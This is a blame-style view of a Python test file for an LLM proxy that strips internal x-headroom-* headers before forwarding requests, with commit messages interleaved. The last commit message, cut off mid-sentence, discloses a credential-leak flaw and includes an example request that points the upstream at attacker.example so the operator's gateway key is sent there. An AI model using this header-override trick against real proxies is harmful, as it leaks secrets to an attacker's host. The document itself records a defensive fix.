plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings`
clean. `cargo fmt --all -- --check` clean. `cargo test --workspace`
green (~900 tests total).
Per realignment build constraints: configurable (env + CLI), no
hardcodes, no regex (pure `.lower().starts_with()` match), no silent
fallbacks (`disabled` is loud operator opt-in), structured logs
(`event=outbound_headers`).
Remaining `x-headroom-` references in `headroom/proxy/handlers/` are
inbound-read sites only: `request.headers.get("x-headroom-bypass")` /
`x-headroom-mode` for behavior gating, `request.headers.get
("x-headroom-user-id")` for memory user-id resolution, and `ws_headers
.get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*`
injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream
forwarding and untouched.
2026-05-02 09:35:27 -07:00
|
|
|
config = ProxyConfig(
|
|
|
|
|
optimize=False,
|
|
|
|
|
cache_enabled=False,
|
|
|
|
|
rate_limit_enabled=False,
|
|
|
|
|
cost_tracking_enabled=False,
|
|
|
|
|
log_requests=False,
|
|
|
|
|
ccr_inject_tool=False,
|
|
|
|
|
ccr_handle_responses=False,
|
|
|
|
|
ccr_context_tracking=False,
|
|
|
|
|
image_optimize=False,
|
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189)
## Description
Running Claude Code (Anthropic) and Codex (OpenAI) against the **same**
Headroom proxy instance on one port produced incorrect, unstable
dashboard data. The proxy core is provider-isolated and
multi-provider-safe by design; the defect was in the observability
layer. The Codex `/v1/responses` **WebSocket** handler was the only path
in the proxy that wrote to the request logger by hand instead of through
the unified `emit_request_outcome` funnel, and it did so twice per
session close: the per-turn funnel record plus an unconditional
cumulative session-summary `RequestLog`. This PR removes the duplicate
summary log so Codex WS emits exactly one request log per turn, matching
the HTTP provider paths.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- Dropped the duplicate cumulative session-summary `RequestLog` in the
Codex WS handler while preserving the per-turn `emit_request_outcome`
path.
- Preserved gated `request_messages` and `turn_id` on residual outcomes
so dashboard telemetry keeps the useful attribution without
double-counting tokens.
- Ensured explicit `--anyllm-provider` wins over a leaked
`HEADROOM_ANYLLM_PROVIDER` environment variable.
- Registered retry delay settings that had drifted out of the settings
registry.
- Hardened tests against developer-shell `HEADROOM_*` /
`ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused
proxy/wrap test fixtures.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [ ] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
$ .venv/bin/pytest tests/ -q -p no:cacheprovider
8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36)
$ .venv/bin/ruff check <touched files>
All checks passed!
```
## Real Behavior Proof
- Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff
via project venv, branch `fix/multi-provider-runtime`.
- Exact command / steps: Ran the full test suite without pytest cache
provider and Ruff on all touched files; used `git stash` to confirm the
stale fake-config failures pre-existed this change.
- Observed result: Full suite passed with no failures; Ruff passed;
Codex WS now routes end-of-session logging through
`emit_request_outcome`, emitting one request log per turn with the same
accounting model as Anthropic HTTP turns.
- Not tested: Live simultaneous Claude + Codex dashboard run. `mypy
headroom` was not run to completion; a scoped run reported one
pre-existing `settings_store.py:470` coercion error outside this diff.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [ ] I have updated the CHANGELOG.md if applicable
## Screenshots (if applicable)
N/A - server-side observability fix; no UI markup changed.
## Additional Notes
- The proxy's multi-provider routing, header/auth isolation, and
per-model cache keying are already correct and unchanged here; only the
WS observability write path was double-counting.
- Architectural assessment:
`plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`;
root-cause + resolution trail:
`plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`.
- No live simultaneous Claude + Codex dashboard run was performed;
validation is from test coverage and code review of the WS logging path.
---------
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
|
|
|
**config_overrides,
|
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49)
Eliminate P5-49: every Python forwarder and the Rust transparent proxy
now drop internal `x-headroom-*` request headers (`x-headroom-bypass`,
`x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`,
`x-headroom-base-url`) before the upstream call. Stops fingerprinting
of the proxy by subscription-revocation enforcers and prevents leakage
of internal user-id / stack / base-url internals to whichever vendor
terminates the request.
Python:
- `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py`
returns a NEW dict with `x-headroom-*` keys removed (case-insensitive
prefix match, no regex). Pure function. Operator opt-in
`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in
the upstream-bound dict for diagnostic shadow tracing — explicit, not
a fallback.
- Strip applied at every handler entry capture in `anthropic.py`,
`openai.py`, `batch.py`, `gemini.py` (chat completions, responses,
WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini
generate / stream / countTokens / cloudcode-assist, Anthropic
passthrough + batch results). Inbound reads of x-headroom (bypass
gating, memory user-id) migrated to `request.headers.get(...)` so
they continue working off the original dict.
- `log_outbound_headers` emits `event=outbound_headers forwarder=...
stripped_count=N request_id=...` per call. Never logs header values.
Rust (crates/headroom-proxy):
- `strip_internal_headers(&mut HeaderMap)` and `is_internal_header`
helpers in `src/headers.rs`. `build_forward_request_headers` accepts
a `strip_internal: bool` so the same path serves HTTP and WebSocket.
- `Config::strip_internal_headers: StripInternalHeaders` driven by CLI
flag `--strip-internal-headers` and env var
`HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`).
- `proxy.rs` and `websocket.rs` call `build_forward_request_headers`
with the resolved policy; structured `tracing::info!` /
`tracing::warn!` line per request describes the strip decision.
Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust
integration (`crates/headroom-proxy/tests/integration_headers.rs`) +
4 Rust unit tests in `headers.rs`. Covers every named header
(`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive
prefix matching, legitimate-headers passthrough, the `disabled`
operator-opt-in mode, and that the inbound bypass-gating read path
is unaffected by the strip.
Acceptance: targeted `pytest -x` suite green (87 tests across
test_header_isolation, test_proxy_byte_faithful_forwarding,
test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable,
test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle).
`cargo test -p headroom-proxy` green (23 tests across all integrations
plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings`
clean. `cargo fmt --all -- --check` clean. `cargo test --workspace`
green (~900 tests total).
Per realignment build constraints: configurable (env + CLI), no
hardcodes, no regex (pure `.lower().starts_with()` match), no silent
fallbacks (`disabled` is loud operator opt-in), structured logs
(`event=outbound_headers`).
Remaining `x-headroom-` references in `headroom/proxy/handlers/` are
inbound-read sites only: `request.headers.get("x-headroom-bypass")` /
`x-headroom-mode` for behavior gating, `request.headers.get
("x-headroom-user-id")` for memory user-id resolution, and `ws_headers
.get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*`
injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream
forwarding and untouched.
2026-05-02 09:35:27 -07:00
|
|
|
)
|
|
|
|
|
app = create_app(config)
|
|
|
|
|
proxy = app.state.proxy
|
|
|
|
|
transport = _CapturingTransport()
|
|
|
|
|
proxy.http_client = httpx.AsyncClient(transport=transport)
|
|
|
|
|
|
|
|
|
|
fake_tracker = _FakePrefixTracker(frozen_count=0)
|
|
|
|
|
proxy.session_tracker_store.compute_session_id = lambda request, model, messages: "s1"
|
|
|
|
|
proxy.session_tracker_store.get_or_create = lambda session_id, provider: fake_tracker
|
|
|
|
|
|
|
|
|
|
return TestClient(app), transport
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_x_headroom_bypass_not_forwarded() -> None:
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-headroom-bypass": "true",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert "x-headroom-bypass" not in upstream
|
|
|
|
|
# Legitimate headers must reach upstream.
|
|
|
|
|
assert upstream.get("x-api-key") == "test-key"
|
|
|
|
|
assert upstream.get("anthropic-version") == "2023-06-01"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_x_headroom_mode_not_forwarded() -> None:
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-headroom-mode": "passthrough",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert "x-headroom-mode" not in upstream
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_x_headroom_user_id_not_forwarded() -> None:
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-headroom-user-id": "alice",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert "x-headroom-user-id" not in upstream
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_x_headroom_stack_not_forwarded() -> None:
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-headroom-stack": "engineer",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert "x-headroom-stack" not in upstream
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_x_headroom_base_url_not_forwarded() -> None:
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-headroom-base-url": "https://override.example",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert "x-headroom-base-url" not in upstream
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_case_insensitive_prefix_match_e2e() -> None:
|
|
|
|
|
"""Mixed-case headers are stripped end-to-end."""
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"X-Headroom-Foo": "1",
|
|
|
|
|
"x-Headroom-Bar": "2",
|
|
|
|
|
"X-HEADROOM-BAZ": "3",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream_lower = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert "x-headroom-foo" not in upstream_lower
|
|
|
|
|
assert "x-headroom-bar" not in upstream_lower
|
|
|
|
|
assert "x-headroom-baz" not in upstream_lower
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_legitimate_headers_passthrough_e2e() -> None:
|
|
|
|
|
"""Authorization / x-api-key / x-request-id / Content-Type all preserved."""
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"Authorization": "Bearer sk-ant-test",
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-request-id": "rid-abc",
|
|
|
|
|
"User-Agent": "claude-code/1.2.3",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert upstream.get("x-api-key") == "test-key"
|
|
|
|
|
assert upstream.get("anthropic-version") == "2023-06-01"
|
|
|
|
|
assert upstream.get("user-agent") == "claude-code/1.2.3"
|
|
|
|
|
# Authorization is delivered uppercased; httpx normalizes to lowercase
|
|
|
|
|
# when reading via dict()-of-Headers, so check via lowercase key.
|
|
|
|
|
assert upstream.get("authorization") == "Bearer sk-ant-test"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_inbound_read_path_still_reads_x_headroom_bypass() -> None:
|
|
|
|
|
"""Bypass header still gates compression even though it's stripped from upstream.
|
|
|
|
|
|
|
|
|
|
The handler reads `request.headers.get('x-headroom-bypass')` directly.
|
|
|
|
|
Stripping the local outbound-bound `headers` dict does NOT affect that
|
|
|
|
|
inbound read path.
|
|
|
|
|
"""
|
|
|
|
|
config = ProxyConfig(
|
|
|
|
|
# Compression is the only thing bypass affects observably; turn it on.
|
|
|
|
|
optimize=True,
|
|
|
|
|
cache_enabled=False,
|
|
|
|
|
rate_limit_enabled=False,
|
|
|
|
|
cost_tracking_enabled=False,
|
|
|
|
|
log_requests=False,
|
|
|
|
|
ccr_inject_tool=False,
|
|
|
|
|
ccr_handle_responses=False,
|
|
|
|
|
ccr_context_tracking=False,
|
|
|
|
|
image_optimize=False,
|
|
|
|
|
)
|
|
|
|
|
app = create_app(config)
|
|
|
|
|
proxy = app.state.proxy
|
|
|
|
|
transport = _CapturingTransport()
|
|
|
|
|
proxy.http_client = httpx.AsyncClient(transport=transport)
|
|
|
|
|
|
|
|
|
|
fake_tracker = _FakePrefixTracker(frozen_count=0)
|
|
|
|
|
proxy.session_tracker_store.compute_session_id = lambda request, model, messages: "s_bypass"
|
|
|
|
|
proxy.session_tracker_store.get_or_create = lambda session_id, provider: fake_tracker
|
|
|
|
|
|
|
|
|
|
client = TestClient(app)
|
|
|
|
|
|
|
|
|
|
# Force a bypass via header. The handler logs "Bypass: skipping compression"
|
|
|
|
|
# if the inbound read worked; we can't easily intercept the log, so we
|
|
|
|
|
# primarily assert that:
|
|
|
|
|
# 1. The request still succeeds.
|
|
|
|
|
# 2. The upstream did NOT receive the `x-headroom-bypass` header.
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-headroom-bypass": "true",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200
|
|
|
|
|
upstream = {k.lower(): v for k, v in (transport.captured_headers or {}).items()}
|
|
|
|
|
assert "x-headroom-bypass" not in upstream
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_disabled_mode_passes_through_e2e(
|
|
|
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
|
|
|
) -> None:
|
|
|
|
|
"""`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` lets internal headers through."""
|
|
|
|
|
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "disabled")
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "test-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"content-type": "application/json",
|
|
|
|
|
"x-headroom-mode": "passthrough",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
# Operator opt-in: internal header IS forwarded (diagnostic mode).
|
|
|
|
|
assert upstream.get("x-headroom-mode") == "passthrough"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
# OpenAI Chat Completions parity check
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_openai_chat_x_headroom_bypass_not_forwarded() -> None:
|
|
|
|
|
"""OpenAI handler also strips x-headroom-* before upstream call."""
|
|
|
|
|
config = ProxyConfig(
|
|
|
|
|
optimize=False,
|
|
|
|
|
cache_enabled=False,
|
|
|
|
|
rate_limit_enabled=False,
|
|
|
|
|
cost_tracking_enabled=False,
|
|
|
|
|
log_requests=False,
|
|
|
|
|
ccr_inject_tool=False,
|
|
|
|
|
ccr_handle_responses=False,
|
|
|
|
|
ccr_context_tracking=False,
|
|
|
|
|
image_optimize=False,
|
|
|
|
|
)
|
|
|
|
|
app = create_app(config)
|
|
|
|
|
proxy = app.state.proxy
|
|
|
|
|
|
|
|
|
|
captured: dict[str, object] = {}
|
|
|
|
|
|
|
|
|
|
async def _fake_retry(method, url, headers, body, stream=False, **kwargs): # noqa: ANN001
|
|
|
|
|
captured["headers"] = dict(headers)
|
|
|
|
|
return httpx.Response(
|
|
|
|
|
200,
|
|
|
|
|
json={
|
|
|
|
|
"id": "chatcmpl_1",
|
|
|
|
|
"object": "chat.completion",
|
|
|
|
|
"model": "gpt-4o",
|
|
|
|
|
"choices": [
|
|
|
|
|
{
|
|
|
|
|
"index": 0,
|
|
|
|
|
"message": {"role": "assistant", "content": "ok"},
|
|
|
|
|
"finish_reason": "stop",
|
|
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
"usage": {"prompt_tokens": 10, "completion_tokens": 1, "total_tokens": 11},
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
proxy._retry_request = _fake_retry # type: ignore[attr-defined]
|
|
|
|
|
proxy.memory_handler = SimpleNamespace(
|
|
|
|
|
config=SimpleNamespace(inject_context=False, inject_tools=False),
|
|
|
|
|
search_and_format_context=AsyncMock(return_value=""),
|
|
|
|
|
has_memory_tool_calls=lambda resp, provider: False,
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
client = TestClient(app)
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/chat/completions",
|
|
|
|
|
headers={
|
|
|
|
|
"authorization": "Bearer sk-test",
|
|
|
|
|
"x-headroom-bypass": "true",
|
|
|
|
|
"x-headroom-user-id": "u1",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "gpt-4o",
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
sent_headers_raw = captured.get("headers")
|
|
|
|
|
assert isinstance(sent_headers_raw, dict)
|
|
|
|
|
sent_headers = {k.lower(): v for k, v in sent_headers_raw.items()}
|
|
|
|
|
assert "x-headroom-bypass" not in sent_headers
|
|
|
|
|
assert "x-headroom-user-id" not in sent_headers
|
|
|
|
|
assert sent_headers.get("authorization") == "Bearer sk-test"
|
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189)
## Description
Running Claude Code (Anthropic) and Codex (OpenAI) against the **same**
Headroom proxy instance on one port produced incorrect, unstable
dashboard data. The proxy core is provider-isolated and
multi-provider-safe by design; the defect was in the observability
layer. The Codex `/v1/responses` **WebSocket** handler was the only path
in the proxy that wrote to the request logger by hand instead of through
the unified `emit_request_outcome` funnel, and it did so twice per
session close: the per-turn funnel record plus an unconditional
cumulative session-summary `RequestLog`. This PR removes the duplicate
summary log so Codex WS emits exactly one request log per turn, matching
the HTTP provider paths.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- Dropped the duplicate cumulative session-summary `RequestLog` in the
Codex WS handler while preserving the per-turn `emit_request_outcome`
path.
- Preserved gated `request_messages` and `turn_id` on residual outcomes
so dashboard telemetry keeps the useful attribution without
double-counting tokens.
- Ensured explicit `--anyllm-provider` wins over a leaked
`HEADROOM_ANYLLM_PROVIDER` environment variable.
- Registered retry delay settings that had drifted out of the settings
registry.
- Hardened tests against developer-shell `HEADROOM_*` /
`ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused
proxy/wrap test fixtures.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [ ] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
$ .venv/bin/pytest tests/ -q -p no:cacheprovider
8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36)
$ .venv/bin/ruff check <touched files>
All checks passed!
```
## Real Behavior Proof
- Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff
via project venv, branch `fix/multi-provider-runtime`.
- Exact command / steps: Ran the full test suite without pytest cache
provider and Ruff on all touched files; used `git stash` to confirm the
stale fake-config failures pre-existed this change.
- Observed result: Full suite passed with no failures; Ruff passed;
Codex WS now routes end-of-session logging through
`emit_request_outcome`, emitting one request log per turn with the same
accounting model as Anthropic HTTP turns.
- Not tested: Live simultaneous Claude + Codex dashboard run. `mypy
headroom` was not run to completion; a scoped run reported one
pre-existing `settings_store.py:470` coercion error outside this diff.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [ ] I have updated the CHANGELOG.md if applicable
## Screenshots (if applicable)
N/A - server-side observability fix; no UI markup changed.
## Additional Notes
- The proxy's multi-provider routing, header/auth isolation, and
per-model cache keying are already correct and unchanged here; only the
WS observability write path was double-counting.
- Architectural assessment:
`plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`;
root-cause + resolution trail:
`plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`.
- No live simultaneous Claude + Codex dashboard run was performed;
validation is from test coverage and code review of the WS logging path.
---------
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
# Configured extra headers (anthropic_extra_headers / openai_extra_headers)
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_anthropic_extra_headers_merged_and_override_client_header() -> None:
|
|
|
|
|
"""Configured extra headers reach upstream and override same-named client headers."""
|
|
|
|
|
client, transport = _make_anthropic_app(
|
|
|
|
|
anthropic_extra_headers={"x-api-key": "gateway-key", "x-gateway-id": "gw-1"}
|
|
|
|
|
)
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={
|
|
|
|
|
"x-api-key": "client-key",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
assert transport.captured_headers is not None
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
# Configured header wins over the client-sent value for the same key.
|
|
|
|
|
assert upstream.get("x-api-key") == "gateway-key"
|
|
|
|
|
# A configured header not sent by the client is still added.
|
|
|
|
|
assert upstream.get("x-gateway-id") == "gw-1"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_anthropic_no_extra_headers_configured_is_unchanged() -> None:
|
|
|
|
|
"""With no extra headers configured, forwarding behavior is unchanged."""
|
|
|
|
|
client, transport = _make_anthropic_app()
|
|
|
|
|
resp = client.post(
|
|
|
|
|
"/v1/messages",
|
|
|
|
|
headers={"x-api-key": "client-key", "anthropic-version": "2023-06-01"},
|
|
|
|
|
json={
|
|
|
|
|
"model": "claude-sonnet-4-6",
|
|
|
|
|
"max_tokens": 16,
|
|
|
|
|
"messages": [{"role": "user", "content": "hi"}],
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
assert resp.status_code == 200, resp.text
|
|
|
|
|
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
|
|
|
|
|
assert upstream.get("x-api-key") == "client-key"
|
|
|
|
|
assert "x-gateway-id" not in upstream
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_merge_extra_headers_overrides_case_insensitively() -> None:
|
|
|
|
|
"""A configured extra header wins even when the client used different casing."""
|
|
|
|
|
out = merge_extra_headers(
|
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description
`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.
The two met in the wrong order:
```
openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers)
```
The secret was merged **before** the destination was resolved. So:
```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```
reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).
Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
